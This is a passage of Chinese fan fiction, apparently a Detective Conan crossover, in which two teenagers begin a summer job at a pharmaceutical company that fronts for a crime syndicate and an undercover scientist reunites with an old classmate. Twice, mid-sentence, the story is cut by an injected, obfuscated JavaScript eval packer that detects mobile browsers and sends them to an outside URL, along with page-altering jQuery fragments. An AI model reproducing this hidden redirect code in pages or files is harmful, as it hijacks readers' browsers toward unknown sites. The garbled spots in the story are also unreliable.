萩原研二和他并排坐在窗边，从这里可以看到白鸠制药的极简主义高级感大楼，看上去很有排面。他啃着一个饭团，毫无感情地回答：“不是我们，是你卖器官，我收钱。” 松田阵平：“……反弹！” 萩原研二：“反弹无效。” 松田阵平：“凭什么你说无效就无效？” 萩原研二：“没有凭什么，因为我是你爸爸。” 松田阵平：“你tmd……”他张牙舞爪地跳下座位朝对方扑过去，萩原研二很熟练地闪开，然后提起他的后领把他拖回来，还不忘揉了一把他的头发顺毛。松田阵平坐回去继续吃买的三明治，翻了个白眼，一副懒得跟他计较的样子。 他嫌弃地说：“谁让你几天前答应得那么干脆，连个详细的工作内容都没问清楚就说要来。那个大姐头听名字就不像个好人，哪家正经企业给自己员工叫酒名啊。要不是担心你一个人被骗，我才不会来这里。” 萩原研二发自内心地笑起来：“好了小阵平，我知道你是关心我。不过我觉得，那个姐姐看上去不坏的。而且你不是也收到了吗，她寄给我们的游戏光盘。”他把最后一口饭团咽下去，“而且我上网查过的哦，这家公司是在业内很有名的正经企业，待遇不错，而且听说连临时工都有饭补呢。” 松田阵平问：“什么是饭补？” “论坛上说就是食堂免费而且很好吃，每天都有无限供应的炸虾便当。” 松田阵平双手合十：“……感谢大姐头的馈赠。” 便利店的空调吹得凉爽，两人坐在窗边，享受着上班前最后的清闲。窗外，阳光炽烈得几乎能把柏油马路烤化，玻璃上映出两人悠闲的倒影，与对面那座冷峻高耸的白鸠制药大楼形成鲜明对比。 直到手机屏幕上的时间跳到了八点五十五，两人才磨磨蹭蹭地起身，推开便利店的玻璃门，瞬间被迎面而来的热浪包裹。他们默契地同时叹了口气，朝着白鸠制药走去。 。 白鸠制药的大楼在阳光下闪着光泽，宛如一头静默伏卧的猛兽。 松田阵平站在大门口，仰头看着企业招牌，表情慢慢变得凝重：“……我感觉这里有点怪。” “这地方，看起来根本不像个制药公司。”他抬手戳了戳身旁的萩原研二，又用只有两个人能看到的轻微动作朝大门外的几个摄像头示意了一下，“你看看，哪家正常公司会在大门口装360度无死角监控？这些摄像头我在油管上见过，是那种顶级货，不仅能进行人脸识别，还能检测心率、追踪行动轨迹。比起什么公司，你觉得这里看上去是不是更像某个保密级超高的的机关？” 萩原研二顺着松田的目光看去。他也同样敏锐地察觉到，白鸠制药的安保规格已经远远超出了一个普通制药公司的范畴：多个高端摄像头暂且不提，门口的安保队伍更是重量级。 一般的公司，即便是涉及机密研发的制药企业，也不过是在门禁系统上下功夫，最多配备一些常规的巡逻安保。然而，白鸠制药不仅有正常公司将近三倍的安保人员，这些人甚至都不像是普通的公司保全，而更像是受过专业军事训练的特勤队员。他们的站姿笔直，神色冷峻，腰侧隐约能看到枪套的轮廓。 更夸张的是，哪怕只是一个快递员送个文件进去，都得接受严格的随身物品检查——包里的东西要逐一检查，鞋底要扫，连金属探测器都用上了，几乎是机场安检级别的戒备。 两人对视了一眼，心里都隐约有些发毛。 但高中生清澈的点在于他们总有一些莫名的勇气和随遇而安的心态。他们这个年纪，最擅长的就是把未知当作新奇，把危险当作刺激，就算前方隐隐透着不对劲的气息，来都来了，合同都签了，总不能因为一个大门就打退堂鼓。 “算了。”松田阵平甩甩手，带着一点不复习就上考场的豪迈，“进去看看吧。” 。 他们走到大门前，不出意料地迎来了安保人员的例行检查。然而，当松田和萩原出示马蒂尼发来的邮件和由她署名的正式录取信函后，气氛立刻发生了微妙的变化——原本一丝不苟的检查流程突然变得宽松了不少，书包只是象征性地翻了翻，甚至连最基本的搜身程序都被直接省略了。 为首的西装猛男恭敬地双手递回文件，语气出乎意料地客气：“马蒂尼大姐的实习生？请进。” 在两人迈步进入的瞬间，松田阵平耳尖地捕捉到身后隐隐传来的嘀咕：“被马蒂尼大姐亲自招进来的，少奋斗二十年啊……” 他脚步微顿，瞥了萩原研二一眼，对方同样对他挤了挤眼睛。 自动门无声地划开，带着冷意的中央空调气流扑面而来。在外面呆了不到十分钟就又流了一后背汗的两个高中生顿时感觉神清气爽，人间值得。 松田阵平感慨万分地评价：“退一万步来讲，这个公司的冷气开的力度配得上人类的科技进步，这种公司能犯什么错呢。” 萩原研二也一本正经地点头：“救命之恩永生难忘，就冲这个空调我也要好好工作。” 松田阵平语气虔诚：“如果中午的炸虾便当好吃的话，今天起我就宣布寄生在这里了。” “……炸虾便当？” 两个人吓了一跳，同时回头，看见一个黑发蓝眼的青年站在他们身后。他看上去很年轻，比他们大不了太多，穿着oversize的条纹短袖衬衫和牛仔裤，打扮很干净利落，长相属于那种在人群里一眼瞥见会觉得“哦，这人挺好看”的级别，但又不会帅得过于扎眼，属于标准的路人帅哥。 路人帅哥问：“什么炸虾便当，这里有炸虾便当吗？” 松田阵平回答：“我也不知道啊，今天也是我的第一天，是我朋友……萩，”他用胳膊肘努努萩原研二，“说在论坛上看到的。” 萩原研二：“……啊，对，在论坛上看到的，说是食堂免费而且很好吃，还专门提到了无限量供应的炸虾便当和每天至少有八种不同甜品的甜品台。” 路人帅哥盯着他俩看了几秒，然后立刻掏出手机一阵翻，像是在查邮件。然后他像是看到了什么不可置信的内容后开始打字，似乎是发了几条短信。过了一分钟，他有些无语地抬起头，松田阵平发誓自己听到了他在小声嘀咕：“马蒂尼你这个家伙，居然能做到这个程度吗……” 然后路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145796|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人帅哥把手机塞回兜里，很确定地对他们说：“那肯定是你们俩没错了，阵平同学和研二同学？我叫长岛京悟，叫我京悟就行，是你们这次兼职的主要负责人，你们这段时间就要跟着我干了。那我现在带你们来实验室看看环境，然后跟你们说一下你们这个兼职的主要任务吧。” 。 长岛京悟上网冲浪的强度很大，所以和他们的代沟并不算深，萩原研二更是决战E人之巅的狠角色。等电梯的短短几分钟里，他们就已经发现了彼此的共同点——原来大家都是同一款游戏的忠实玩家。 而让两位dk很是佩服的是，长岛京悟比他们可是多玩了整整十年，妥妥的骨灰级，光是随口聊起游戏里的某个已经做不了的任务和绝版装备时，那种“年轻人，你们还太嫩”的语气，就已经暴露了他游戏活化石一样深厚的资历。 很快就和小老板勾肩搭背起来的萩原研二此时还在心里暗暗窃喜，感觉这一次暑期兼职会十分轻松有趣。 拉近了距离的三个人有说有笑地走进电梯。站定后，长岛京悟掏出自己的钱包，刷卡，按楼层一气呵成。 ——就在这一刻，萩原研二敏锐地察觉到了异样。 当长岛京悟的卡片刷过感应区后，电梯面板上的按钮依次亮起。 然而，可以按的却只有负一层和二层。 萩原眨了眨眼，视线不动声色地扫过那块面板，发现除了负一层和二层，其余的楼层全都灰暗着。硕大一个公司，面板上显示着有地上三十层，地下六层。按马蒂尼的说法，长岛京悟的职位相当于这里的首席科学家，为什么他像是被隔离了一样、几乎是被软禁在了这个公司里？ 松田阵平这时也发现了不对劲，皱着眉头看向长岛京悟：“京悟哥，你的权限只有这两层吗？” 长岛京悟像是就等他们问这个，挠挠头，露出一个温和的笑容：“我的实验室在负一层，二层是行政办公区，我基本上就在这两个地方活动，其实也不需要去其他层啦。”他语气轻快、理所当然地补充道，“这样也挺好的，工作重心都在科研上，那种杂事我才不想管呢。” 这个回答滴水不漏，听上去像极了一个沉迷实验、不问世事的纯粹科研人，无欲无求、与世无争，甚至还透着一点绝大多数研究人员对行政工作的本能鄙夷——有种电视剧里常演的“别让我填表，别让我开会，别让我社交，我只想待在实验室里”的典型科研厌世感。 换作其他人，听到这种答复，八成只会觉得这家伙是个专注科研、完全没兴趣掺和管理层事务的技术宅，并不会对他的权限问题继续产生怀疑。 但是萩原研二直觉他在撒谎！ 长岛京悟笑得太自然了，自然到没有一丝多余的情绪波动，像是根本不觉得自己的权限有任何问题。 可对于从小就极其善于观察和推理的萩原来说，这才是最大的破绽。 如果一个人的权限真的被限制得这么死板，长期只能在两层楼之间活动，哪怕再怎么热爱工作，也难免会有点想法吧？哪怕不至于抱怨，至少也该随口开个玩笑，比如“反正别的地方也没什么好看的”，用点轻松的语气带过去，才会显得更有人味。 可长岛京悟没有。 他甚至连一秒钟的迟疑都没有，就流畅地说出了这个近乎完美的回答，语气自然得像是早已习惯了这样的问答，甚至连语调的起伏都恰到好处，仿佛是刻意练习过一样。 这不像是他的真实想法，更像是某种被反复打磨、精准调整的标准答案——一个专门用来向他和松田隐瞒某些事实的说辞。 65.数据进展显著，午餐需求更显著 到了实验室后，长岛京悟向两个临时助手简单介绍了一下他们接下来的日常工作。他们的任务很朴实无华：清洗各类实验器皿——先用清洁剂和刷子手动刷一遍，后送进特制的大型洗碗机清洗，等机器跑完程序，再把它们放进高温高压灭菌器里消毒，最后扭紧盖子，整齐归位。除此之外，还有一些纯靠蛮力的活儿，比如搬运那些一个人抬不动的零部件。再者，就是随时帮他跑腿，从快递站取回新到的试剂，顺便把需要送出去的样品打包好，提到快递站。 除了这些固定事务，还有一些周期性、随缘触发的工作，比如每周一次推着液氮罐去一楼车库灌满液氮；每周三次用超声波仪清洁实验用的显微镜玻片；以及随时按需配制所有不涉及有毒物质的溶液。 长岛京悟在他们来之前就仔细盘算过。他很清楚马蒂尼对这两个小孩算得上另眼相看，自己也觉得青春少年没必要在实验室里提前体验社畜生活，所以合理规划了一下工作量。两个人分担下来，基本上一天五个小时，一周五天，完全不算过分。再说了，配制溶液以外的活都属于有手就行，态度好一点，小学生也能踩着板凳做得有声有色。 不过，让两个准高中生配溶液这件事，他还是有些犹豫。长岛京悟依稀记得，生物化学里常用的和溶液相关的知识，例如摩尔浓度换算、pH一类，好像是高中一年级的知识点。而按照时间推算，他们距离在课堂上被正儿八经的老师教一遍，还有整整一年。 但事实证明他想多了。磕磕绊绊给两人讲了一遍克数和摩尔量的换算后，他惊讶地发现，松田阵平和萩原研二不仅计算速度飞快，准确率还高得离谱。更离谱的是，他不过是出去上了趟厕所，回来就发现这俩小孩哥居然把pH仪拆了，调了传感器精度，又毫发无损地装了回去…… 长岛京悟好奇地试了试，结果发现经过他们调教后，pH仪灵敏度还真比原来更高了。 ……马蒂尼果然没忽悠他，这俩人的确算得上机械天才，而且比他想象中还要能干得多。苍天有眼，这辈子他遇上的小孩哥都好牛逼。再想想上辈子带的一个赛一个奇形怪状的后辈，果然人只要不搞科研，全世界的好运都吻了上来。 。 招到了得力下属的长岛京悟心情大好，毫不犹豫地把这一个星期以来堆积如山的瓶瓶罐罐甩给小孩哥去洗，自己则是第一次在回日本后的两个星期里，舒舒服服、心安理得地窝进自己的“十平米单间带沙发茶几办公室”处理数据。 经过一周的测试，他大致摸清了宫野夫妇当年在科研上遇到的瓶颈，也终于理解了这两位伟大的科学家在最后取得的成果究竟达到了何种惊人的高度——可以说，他们的研究成果已经足以改写部分生物学教科书。而正因如此，当一个星期前，他合上宫野厚司的实验记录本，意识到组织竟然以如此冷漠无情的态度将他们弃之如敝履时，他只感到难以言喻的愤怒与悲哀。 当时宫野厚司带回日本的，并不仅仅是他天才的大脑——还有一瓶珍贵至极的细胞裂解液。那是他在老登实验室的研究生涯中，唯一一次成功逆转神经细胞衰亡后，在六年前九月十七号那个深夜亲手启动超离心机，从细胞样本中提取出的约20毫升上清液。而在加入白鸠制药后，他的主要科研工作就是破解这瓶裂解液的秘密，找出其中究竟是哪种成分创造了这近乎奇迹般的效果。 可这种从零开始的探索怎么可能简单？细胞中的营养物质千千万，这种毫无线索的筛选方式简直是海底捞针。他尝试了一次又一次的质谱、NMR，甚至蛋白质组学实验，结果嘈杂得毫无优化空间。他提出了一个又一个假设，却一次次遭遇失败，甚至有实验动物吃下试验品后死得无声无息……在这场毫无头绪的研究折磨下，宫野夫妇最终想出了一个简单粗暴的方案： ——如果无法从裂解液中分离出真正的“银色子弹”，那不如干脆把裂解液整个浓缩、装进胶囊，直接递送进实验体？反正它本身无毒无害，最差的结果也不过是啥也没发生，而如果真的有效果，那就是意外之喜！ ……这操作，颇有种生化人干到最后，咬着后槽牙把实验台上的所有试剂全倒进反应瓶里“搏一搏，单车变摩托”的风范。宫野厚司和长岛京悟不愧是从同一个实验室里出来的，这种大力出奇迹的实验理念某种意义上简直是一脉相承。 而奇迹，恰恰在这个时候发生了。 服用了这种细胞裂解液胶囊的实验鼠，竟然表现出了奇异的、宛如时间静止一般的“定格年龄”表型！他们测试了不同年龄的实验鼠，最终得出的结论是——这款胶囊可以彻底阻止衰老，将受试者的生理状态永远固定在某个年龄段，但无法逆转已经发生的衰老。他们试图在此基础上优化剂量和递送方式，但由于根本不清楚有效成分及其作用机理，最终得到的结论是：在仅靠裂解液现有浓度的情况下，最理想的效果，也就是定格衰老。 当研究已经做到这个地步，真要是写成论文发出去的话，宫野夫妇已经可以把一整年的新人科学家奖拿个遍，然后办张卡开始强身健体，坐等死前拿诺贝尔奖了。 然而，显然组织的想法并不一样。在短暂的振奋之后，他们迅速向宫野厚司拨下了更多的资金、更多的资源，甚至给予了更高的期待，希望他能早日研发出一款能够逆转衰老的终极药物。而这一刻，也成了宫野厚司噩梦的开端—— 他无论如何都无法复现当年在老登实验室那次逆转神经细胞衰亡的实验，自然也就无法再次得到裂解液。更糟糕的是，由于他的研究项目被组织列为最高机密，他被严密监视，寸步难行，甚至连回老登实验室寻找灵感的机会都没有。于是，他的人生最后两年，便在这种不断尝试、不断失败的恶性循环中枯竭殆尽。 。 长岛京悟心知肚明，组织招揽自己的最基础目标就是复现那次实验。为此，他们给了他一个几乎完美的实验室，设备先进、资源充足，摆明了就是要他尽快复现宫野厚司的研究成果，越快越好。 组织挑中他而不是老登，本身是符合科研界潜规则的。科研界默认，导师已经脱离实验台，主要负责项目管理、方向把控、申请经费、处理行政事务。至于那些真正趴在实验台前，日复一日地移液、孵育、离心、跑胶、分析数据的，往往是博士生和博后。而长岛京悟，恰恰是老登实验室里和宫野厚司研究方向最高度重合的那个人。 更 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长岛京悟盯着屏幕上已经出现一个星号显著的数据，嘴角疯狂上扬。短短一个星期，他的数据已经漂亮地蹦出了统计学显著性。虽然目前只有一个星号，但这已经足够让他嗅到科研成果爆发的味道。在他看来，只要有突破，他就敢汇报；只要敢汇报，他就必定能搞出点大新闻。有了这些数据兜底，他已经有信心稳苟半年。 更何况，科研界有句古话说得好：“只要再多跑几组实验，把标准差按在地上摩擦，统计学显著性就能从一个星号进化成两个，甚至三个。”等到那时候他再汇报，就能给朗姆来点真正的科研震撼——用p值砸脸，教教这孙子什么叫做真正的用数据说话。 长岛京悟沉浸在对未来的美好幻想里，已经开始构思着下一步该如何精准优化实验条件，让p值再低一点、结果再优雅一点。这个时候他的办公室门被推开了，松田阵平探了个头进来：“京悟哥，我们差不多干完了，现在想去吃个饭——你知道萩说的那个食堂在哪里吗？” 长岛京悟看了看时间，果然已经十二点了。 还是那句话，叫醒一个装睡的人很难，但是叫一个假装在科研的博士去吃饭是天经地义的。 不过食堂在哪里？这里有食堂吗？ ……哦，想起来了。马蒂尼今天给全公司发了邮件，说公司体谅大家辛苦，把二楼除了HR办公室其他的空间都利用了起来，搞了一个大食堂。随着邮件还发了好几张照片，装潢看上去十分讲究。这个食堂的亮点在于，它不仅豪气地提供全自助、无限量天妇罗，还有和超级网红店合作的甜品台。 长岛京悟哪怕不懂推理也可以很确信地说松田阵平和萩原研二应当一个喜欢吃天妇罗，一个喜欢吃甜品。至于谁喜欢吃哪一个，这个他倒是推不出来。他能推出来的是，马蒂尼这是把全副身家都砸下去了，怪不得接任务这么勤快。 不过真正让他心动的不是吃的，而是——既然是全公司都能用的食堂，那他这个被物理隔离在实验室里的人，终于可以借着吃饭的名义，堂而皇之地接触到公司里的其他人了。和其他组的人搞好关系，他说不定就能知道他们现在在研究什么不可告人的邪恶课题。 这可是个千载难逢的好机会。 长岛京悟当机立断地站起来：“走吧，那咱们一块儿去吃饭。” 66.化学社的尽头是犯罪组织 马蒂尼这个家伙牛逼就牛逼在，不到一个星期的时间里，她硬是凭空搞出了一个食堂。 而且不只是简单的“搞出食堂”，她还极具人性化地优化了一整套就餐动线，确保在高峰期不发生拥堵，效率最大化。她的规划堪称科学，涵盖但不限于分部门错峰用餐，既提高了秩序，又巧妙地规避了不必要的人员接触。 比如，长岛京悟所在的研究部门自然是拿到了最黄金的就餐时段——12点到1点，既不会晚得让人饿得发慌，也不会早到错失一些后出炉的饭菜。而在他们之前用餐的，是公司的IT部门。这一群体社交需求极低，吃饭效率极高，低头扒拉完饭就走，生怕浪费哪怕一分钟的工位空闲时间，既不会在饭点占据公共资源，也不会像某些部门一样在取餐区聚众八卦。 至于他们之后就餐的则是全公司最神秘的HR部门，只有马蒂尼一个人，再加上似乎对她心怀无限敬仰的安保部。这样一来，两个清澈而愚蠢的高中生便被彻底与所有可能带来危险的行政人员隔离。哪怕他们在食堂里天真地聊点不该聊的，也不会落入组织里那些老油条的耳朵。 这场巧妙安排的分流像是某种高级的保护机制，隐秘而有效。 长岛京悟带着两个未成年刷卡乘电梯直达二楼。电梯门一开，他立刻被眼前高级的食堂震撼到了。 最显眼的是中央三排超长料理台，各种荤素搭配的菜肴在保温灯的照耀下散发出浓郁的香气。 在料理台的旁边是一整个规模惊人的天妇罗档口，足足请了四个专业炸物师傅同时操作十口炸锅，生怕人多了会饿着孩子。食材琳琅满目，其中绝大多数都是贵的肉类。这个档口还直接采用了麻辣烫的点餐模式，自己选食材后递给师傅现炸，确保每一口都是最酥脆的状态。 而在取餐动线的最末尾就是那个网红店联名合作的甜品台，陈列着至少二十种不同的高级甜品。旁边还配备了一台豪华冰淇淋机和一个塞得满满当当、堪比便利店的饮料柜。 长岛京悟还处在震撼中，就看到身边的两个小孩哥欢呼一声，端起餐盘就一副要把马蒂尼吃穷的架势冲向自助台。他望着两人虎虎生风的背影，顿感马蒂尼这个人不能小觑。有这么可怕的行动力，只要她活着一天，估计这俩孩子无论走到哪里都能逢凶化吉，顺风顺水地被护送上人生巅峰。 ……这么一想好嫉妒啊！他也不想努力了！ 眼红得要命的长岛京悟这时想起来这里的主要目的：尽可能摸清组织科研部的人员构成，如果顺利的话，再多认识几个人，从他们嘴里打探组织现在还在进行的其他研究。 科研人对吃这件事向来有着异乎寻常的执念——从读研那天起，他们就已经进化成了学术蝗虫，哪里有免费自助，哪里就有他们的身影。只要打听到有大锅饭可蹭，这帮人一定会前赴后继、风驰电掣，以迅雷不及掩耳之势冲向餐台，将“研究可以不做，饭不能不吃”的坚定信念贯彻到底。 他低头看了眼手表，正好十二点半。换句话说，科研部门的百分之九十应该都已经到齐了。再粗略扫视了一圈，目测整个食堂坐着大约四十来号人。也就是说，这座大楼里，科研人员的总数不会超过五十人。按照一个课题至少需要五个人来算，组织除了他以外，正在进行的研究课题顶多十个。 估计都很刑，长岛京悟哼哼地冷笑，倒时候找我上头的人把你们都抓了！ 不过在那之前，他得先去拿点吃的，然后随机坐到哪个看上去面善的人身边，趁着吃饭的时候搭一下话。 。 长岛京悟端着餐盘穿过料理台，目光扫过琳琅满目的菜肴，在焗龙虾、烤牛肋条、流心芝士汉堡排之间犹豫了一下，还是选择了最保险的炸猪排盖饭和一碗味增汤，外加一份松田阵平倾情推荐的天妇罗拼盘，他似乎已经往返这个档口好几回了，看上去十分快乐。 端着食物四处张望，他按着走之前赤井秀一之前教过他的“选择社交目标套取情报的标准”，迅速筛选着合适的目标。 第一类，埋头猛吃、嘴里还在嘟囔公式的——PASS。 这是典型的社恐科研人，活在自己世界里，搭话的风险在于你可能讲完一句话，他过了十分钟才反应过来，甚至直接无视你，丝毫不影响他的进食进度。想从这类人嘴里掏点情报，除非给他灌个五杯白干，否则别指望能聊出什么有价值的信息。 第二类，围成一圈，聊得热火朝天的——PASS。 这群人看着就像八卦小队，话匣子一旦打开就收不住。但问题是，太高调，太显眼，随时可能被有心人注意到。如果组织里真有人负责监视内部人员，这种社交性极强的小圈子往往是情报泄露的高发地带，容易有监听、眼线混迹其中。 第三类，独自吃饭，眉头紧锁，时不时低头叹气的——PASS。 这种人八成刚刚经历实验失败的暴击，精神状态不稳，贸然搭话的话，轻则被当作情绪垃圾桶，重则被对方当成ai，一不小心开始给你狂输出一大堆深奥的科研内容，甚至拉着你分析他的失败原因，求你帮他想方案。要是点背一点，还可能遇上科研内卷重灾区选手，一整天都缓不过来。 当时赤井秀一把黑板敲得砰砰响，在一片粉笔灰中写下了他总结出的最适合搭话的三类人。 其一，坐在角落，单独吃饭，但眼神灵活、观察力强，偶尔扫视周围的人。 赤井秀一指着这个关键词：“这类人警惕性很高，不太容易开口，但一旦建立信任，可能会成为稳定的消息来源。但前提是，你得先让他相信你不是来坑他的。” 其二，两三人一桌，低声交谈，互动自然，像是同一个小课题组的人。 “团队内部聊天的内容，十有八九跟研究相关。”赤井秀一敲了敲这个分类，“如果能混进去，哪怕只是假装听他们唠嗑，也能从他们的对话里套出一些有用的情报。但别太急着插话，会戳破他们脆弱的自尊心，又别不插话，不然永远没有办法打入。” 其三，看上去随和、不显眼，但从不低头猛吃，反而对环境有一定关注度的人。 赤井秀一最后指向这一条：“这类人不会抗拒社交，属于‘可攻可守’的最佳选择。如果运气好，说不定还能钓出一个对组织全局了解更多的人。”他顿了顿，又轻描淡写地补充道：“不过，这种人，前辈你得小心点。知道得越多的人，往往也离危险越近。” 讲解完，他在黑板上潇洒地写下最后一行字：“获取情报的关键，在于让对方觉得你是个无害的存在。” 然后，他回头看向长岛京悟，抬了抬下巴，示意他全文背诵。 ——靠着抄天才FBI的作业，长岛京悟很快锁定了一个目标。 靠近窗边的一张桌子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15161010|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，坐着个看上去二十七八岁，穿着T恤牛仔裤的青年。他虽然一个人吃饭，但并不显得特别孤僻，时不时环顾四周，对经过的同事点头示意，看起来属于那种社交属性适中、不算话痨但也不会太难搭话的人。 长岛京悟带着一种孤身走暗巷的舍身取义感走过去，露出一个练习过的礼貌微笑：“你好，请问这里有人吗？” 青年抬头看了他一眼，愣了一下，随即摆摆手：“没有，随便坐。” 长岛京悟落座，一边拿起筷子，一边不动声色地观察对方的反应。对方倒是相当自然，没表现出任何警惕或不适，吸溜了一口自己碗里的乌冬面，像是随口问道：“你是新来的？” “是的，我两个星期前刚来报道。”长岛京悟也吃了一口饭，向他伸出手，与其自然地做自我介绍，“我叫长岛京悟，在生物医药组里，目前自己做课题。你呢？” 对面的青年咽下口中的面条，也伸出手，与他轻握了一下：“松本彻，化学合成组的。请多多指教哦，社长。” ——社长？ 长岛京悟筷子一顿，脑子里刚冒出一点疑惑，下一秒就被“松本彻”这个名字狠狠敲了一下。 “……松松松松松本？？？不是，等下，文豪学院的松本彻？那个松本彻？”长岛京悟感觉自己每说一个字都在震碎自己脆弱的世界观，“松本，你你你怎么在这里？？？你居然在白鸠制药？……你还减肥成功了？” 松本彻挠了挠头，嘿嘿地笑：“是啊，不过比不上社长，这么多年一直没变，还是那么帅。” 长岛京悟：“你现在也挺帅的。不是等下，我还没缓过来，你在这里工作？啊？怎么是你？” 松本彻笑眯眯地看着他，用一种很纵容的语气说：“没事，社长你慢慢缓，不着急。” 松本彻这个名字，长岛京悟可太熟了。 当时他高中文豪学院里有一个化学社，加上他一共只有五个人，个个堪称科研败类，专职就是拿着学校拨下来的社团经费做一些完全和化学不搭边的事情。五个人关系极好，整日勾肩搭背，绞尽脑汁地研究如何合理运用公款摆烂。 每年风纪委员来例行检查社团活动记录，他们就一本正经地炮制出一两个介于瞎搞与敷衍之间的实验报告，其中就包括了“氯化钠和蔬菜汁反应生成绿色化合物”、“通过高温烧结实现水的不可逆分解及其环境效应研究”等让专业人士闻者落泪、让门外汉听者智熄的诡异课题…… 可惜好景不长。长岛京悟毕业后，化学社失去了他的好友、风纪委员长坂口安吾的庇护。新任风纪委员雷厉风行，翻出了他们的“研究报告”并义无反顾地将其送上理事长办公桌，结果可想而知——化学社被勒令关停。彼时，长岛京悟已远赴海外留学，其他成员也因年级不同、班级各异，最终渐渐失去联系。 几个星期前他想起他们高中化学社的光辉岁月，还在感慨这五个人应当都具备当研究牛马的潜能。真没想到，居然真的有人和他一样踏上了这条不归路……而且更离谱的是，他们居然双双进了犯罪组织。 当然，长岛京悟不同，他是背负使命、肩负任务的卧底，可以被原谅。但他很清楚，白鸠制药除了他没有别的卧底——也就是说松本彻居然是自主加入这里、心甘情愿做邪恶课题的！ 长岛京悟的震惊顿时转化成了恨铁不成钢的愤怒。 67.给学术界来点横滨震撼！ 长岛京悟维持着震惊的神色，大脑一片空白，不知道该如何应对这荒唐的现实。他索性低头猛扒饭，像是要把所有的情绪都塞进嘴里咽下去。他的筷子在碗里翻飞，一口接一口地恶狠狠咬着猪扒饭，仿佛只要吃得足够快，就能压住心头被现实暴击后的悲愤。 这段时间，松本彻就一直笑眯眯地看着他，眼里满是清澈的对青春的怀念，和久别重逢的欣喜，像是在回味某段无忧无虑的时光。 两人就这么维持着一种尴尬但和谐的气氛，默契地埋头吃饭，谁都没有先开口，餐桌上只剩下碗筷碰撞的细微声音。 过了将近十分钟，松本彻像是终于感慨够了，才慢悠悠地开口打破沉默：“社长，你缓过来了吗？” 长岛京悟深吸一口气，像是在努力消化这一连串的打击，声音里还带着一丝余震：“还没……但应该死不了。你要说啥？” 松本彻不紧不慢地笑了笑：“哦，我只是想说，真是巧啊。社长，你是怎么想到要来这里工作的？” 长岛京悟心里咬牙切齿地想：和你这个自愿投身犯罪组织、誓要为邪恶事业添砖加瓦的叛徒不一样，我是来掀翻这里的！ 但他到底是个讲道理的人，在心里把松本彻骂了一遍后，还是很有素质地抛出了自己事先准备好的说辞：“我是博士毕业后应届生招聘进来的，我的师兄之前是这里的员工，他离职后推荐我过来工作。” 松本彻点点头，露出若有所思的表情：“了解了。所以社长在国外读的博？你读了几年？” 听到这话，长岛京悟顿时心里一沉。 他这才意识到一个极其残酷的现实——松本彻在这里，绝对算是他的前辈。 高中时，松本彻是他的学弟，但眼下，在这家犯罪制药公司里，对方已经是稳稳的资深员工。如果这家伙已经在这里工作一年了，那意味着他博士毕业至少不会超过四年。 四年博士毕业可是个天才才能做到的壮举。 长岛京悟低头盯着自己的饭碗。他努力让自己的语气听上去平静，甚至还想挤出一点勉强的自嘲，但话一出口，还是带着一丝无地自容的心虚：“我……我读了六年。你呢？” 松本彻甚至连思考都没思考，语气轻松得像是在聊天气：“哦，我比较幸运，三年毕业。” ……长岛京悟彻底破防了。 三年？！博士三年？！他几乎能听见自己心态炸裂的声音：这、这家伙到底是怎么回事？！ 他记得很清楚，高中时的松本彻还徘徊在及格线的边缘，属于那种六十分万岁的选手。考试前，松本彻最常干的事就是抱着卷子一脸痛苦地找他划重点，靠着只要学不死就往往死里学低空飞过。甚至高三毕业的时候长岛京悟还特意把自己三年的笔记本都留给了他，生怕他考不上大学，到最后实在走投无路去混黑手党，毕竟他们横滨的确是盛产这个。 长岛京悟大脑空白地抬头看了一眼松本彻，试图在对方脸上找到一丝开玩笑的迹象——然而，松本彻神色坦然，甚至带着点真诚的谦逊。 这家伙是真的、真的博士三年毕业了，是天才中的天才，比长岛京悟可厉害到不知道哪里去了。 自己的失败固然难过，昔日同窗的成功更令人崩溃。长岛京悟干巴巴地笑了两声：“哈哈……那祝贺你哦，哈哈哈。” 松本彻豪迈地摆了摆手：“别这么震惊，社长。其实呢，博士这东西啊，说白了就跟横滨的地盘一样，谁拳头硬、手段狠，谁就能抢到最大的资源。你要是能找准门道，提前毕业根本不是什么难事。” 长岛京悟的眉头猛地一皱，心里隐隐约约升起一种极其不妙的预感。 “……不是，等一下。”他的语气有些迷茫，“读博不是这样的吧。你博士到底都干了些什么啊？” 松本彻咧开嘴，露出一口白牙：“我博士导师那时候挺有名气的，人脉很广，项目也多，但他这个人有个毛病，就是喜欢拖学生的毕业时间，说什么‘培养科研人才不能急功近利’之类的屁话，实际上就是想把我们当廉价劳动力使唤。”说到这里，他嗤笑了一声， “但我不喜欢给别人当牛马，尤其是给那种会骑在你头上作威作福的老登。于是我就想了个办法。” 长岛京悟虎躯一震，突然开始感到害怕：“……什么办法？” 松本彻轻描淡写地说：“啊，也没什么，就是给我导师送了一份大礼，找点路子查了查他，发现了他挪用科研经费的证据，稍微当面威胁了一下。” 长岛京悟：“…………” ……这不就是学术黑手党吗？！ 哪里的大学能够培养出这么务实的博士啊？ 他艰难地开口：“松本，你在哪里读的博？” 松本彻自豪地说：“就是咱们横滨大学啊。我这个人比较恋家，本硕博都在横滨读的。” ……破案了。横滨，果然是卧虎藏龙的地方。原来不仅是港口黑手党的人敢在街头真刀真枪地干架，连学术圈也这么黑/道，怎么不算是一种城市名片和地方特色。 标准横滨人松本彻来这里打工，好像也不是什么说不过去的事情了。毕竟用魔法打败魔法也不失为一种职场生存之道。 